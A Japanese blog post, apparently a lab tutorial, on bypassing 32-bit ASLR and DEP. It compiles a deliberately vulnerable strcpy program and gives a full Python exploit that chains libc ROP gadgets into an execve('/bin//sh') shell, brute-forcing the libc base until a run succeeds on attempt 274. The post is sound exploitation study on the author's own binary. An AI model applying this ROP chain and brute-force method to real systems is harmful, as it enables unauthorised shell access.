ROPとブルートフォースで32bit ASLR+DEPを回避してみる
ROPを使ってDEPを回避するには共有ライブラリのベースアドレスを知る必要がある。 しかしASLRが有効な場合においても、32bitであればブルートフォースで回避できることが知られている。 ここでは、ROPとブルートフォースを組み合わせることで32bit ASLR+DEPを回避してシェル起動を行ってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
バッファサイズ300で、第一引数の入力によりスタックバッファオーバーフローが起こるコードを書く。
/* bof.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[300] = {}; /* set all bytes to zero */ printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
SSPのみを無効にし、ASLR、DEPを有効にした状態でコンパイルする。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c
objdumpコマンドで実行ファイルのプログラムヘッダを調べると、STACKのところにxビットが立っていない、つまりスタック領域のデータが実行不可になっていることが確認できる。
$ objdump -x a.out Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x0000068c memsz 0x0000068c flags r-x LOAD off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**12 filesz 0x00000108 memsz 0x00000110 flags rw- DYNAMIC off 0x00000f28 vaddr 0x08049f28 paddr 0x08049f28 align 2**2 filesz 0x000000c8 memsz 0x000000c8 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x0000058c vaddr 0x0804858c paddr 0x0804858c align 2**2 filesz 0x00000034 memsz 0x00000034 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00000f14 vaddr 0x08049f14 paddr 0x08049f14 align 2**0 filesz 0x000000ec memsz 0x000000ec flags r--
また、lddコマンドでダイナミックリンクしている共有ライブラリを調べると、libcがリンクされていることがわかる。
$ ldd a.out linux-gate.so.1 => (0xb76fb000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7549000) /lib/ld-linux.so.2 (0xb76fc000)
共有ライブラリのベースアドレスを調べてみる
gdbを使って、libcがロードされているアドレスがどのように変化しているかを調べてみる。
gdbはデフォルトでASLRを無効にして実行するので、set disable-randomization off
でASLRを有効にした上で繰り返し実行し、ベースアドレスを表示させる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disable-randomization off (gdb) start Temporary breakpoint 1 at 0x8048449 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048449 in main () (gdb) i proc map process 2695 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/a.out 0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/a.out 0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/a.out 0xb7556000 0xb7557000 0x1000 0x0 0xb7557000 0xb76fb000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb76fb000 0xb76fd000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so 0xb76fd000 0xb76fe000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so 0xb76fe000 0xb7701000 0x3000 0x0 0xb7707000 0xb7709000 0x2000 0x0 0xb7709000 0xb770a000 0x1000 0x0 [vdso] 0xb770a000 0xb772a000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so 0xb772a000 0xb772b000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so 0xb772b000 0xb772c000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so 0xbfddd000 0xbfdfe000 0x21000 0x0 [stack] (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 2 at 0x8048449 Starting program: /home/user/tmp/a.out Temporary breakpoint 2, 0x08048449 in main () (gdb) i proc map process 2698 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/a.out 0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/a.out 0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/a.out 0xb7625000 0xb7626000 0x1000 0x0 0xb7626000 0xb77ca000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb77ca000 0xb77cc000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so 0xb77cc000 0xb77cd000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so 0xb77cd000 0xb77d0000 0x3000 0x0 0xb77d6000 0xb77d8000 0x2000 0x0 0xb77d8000 0xb77d9000 0x1000 0x0 [vdso] 0xb77d9000 0xb77f9000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so 0xb77f9000 0xb77fa000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.15.so 0xb77fa000 0xb77fb000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.15.so 0xbfc82000 0xbfca3000 0x21000 0x0 [stack] (gdb) quit A debugging session is active. Inferior 1 [process 2698] will be killed. Quit anyway? (y or n) y
何度も実行すると、libcは0xb7X??000(Xは5または6)の範囲で変化していることがわかる。 つまり、適当にアドレスを決め打ちして0x200 (=512) 回程度実行すれば、アドレスが一致する可能性がある。
エクスプロイトコードを書いてみる
前のエントリで書いたROPを実行するコードをもとに、アドレスを0xb75cc000に決め打ちして繰り返し実行するエクスプロイトコードを書いてみる。
# exploit.py import sys import struct from subprocess import Popen bufsize = int(sys.argv[1]) data_addr = int(sys.argv[2], 16) libc_base = 0xb75cc000 """ f3ad0: pop ecx; pop eax 7419a: mov DWORD PTR [ecx],eax 1a9e: pop edx 32eb0: xor eax,eax 2dfb2: mov DWORD PTR [edx+0x18],eax 1930e: pop ebx 83d35: xor edx,edx; mov eax,edx 8ac7e: lea eax,[edx+0xb] $ objdump -d libc.so.6 | grep "int " | head 2e285: cd 80 int 0x80 """ buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr + 0) buf += '/bin' buf += struct.pack('<I', libc_base + 0x7419a) # mov [ecx], eax buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr + 4) buf += '//sh' buf += struct.pack('<I', libc_base + 0x7419a) # mov [ecx], eax buf += struct.pack('<I', libc_base + 0x1a9e) # pop edx buf += struct.pack('<I', data_addr + 8 - 18) buf += struct.pack('<I', libc_base + 0x32eb0) # xor eax, eax buf += struct.pack('<I', libc_base + 0x2dfb2) # mov [edx+18], eax buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr + 12) buf += struct.pack('<I', data_addr + 0) buf += struct.pack('<I', libc_base + 0x7419a) # mov [ecx], eax buf += struct.pack('<I', libc_base + 0x1a9e) # pop edx buf += struct.pack('<I', data_addr + 16 - 18) buf += struct.pack('<I', libc_base + 0x32eb0) # xor eax, eax buf += struct.pack('<I', libc_base + 0x2dfb2) # mov [edx+18], eax buf += struct.pack('<I', libc_base + 0xf3ad0) # pop ecx; pop eax buf += struct.pack('<I', data_addr + 12) buf += 'AAAA' buf += struct.pack('<I', libc_base + 0x1930e) # pop ebx buf += struct.pack('<I', data_addr + 0) buf += struct.pack('<I', libc_base + 0x83d35) # xor edx, edx; mov eax, edx buf += struct.pack('<I', libc_base + 0x8ac7e) # lea eax, [edx+0xb] buf += struct.pack('<I', libc_base + 0x2e285) # int 0x80 with open('buf', 'wb') as f: f.write(buf) i = 0 while True: print i p = Popen(['./a.out', buf]) p.wait() i += 1
このコードはバッファサイズと書き込みに利用するアドレスを順に引数に取る。 書き込みにはデータセグメントのアドレスを利用することとし、次のコマンドでアドレスを調べる。
$ objdump -x a.out Sections: Idx Name Size VMA LMA File off Algn 23 .data 00000008 0804a014 0804a014 00001014 2**2 CONTENTS, ALLOC, LOAD, DATA
パラメータをセットし実行してみる。
$ python exploit.py 300 0x0804a014 0 buf = 0xbfcae1c4 (snip) 1 buf = 0xbf8cf844 (snip) ... 274 buf = 0xbffd74b4 (snip) $
この場合は274回目で成功し、シェルが立ち上がることが確認できた。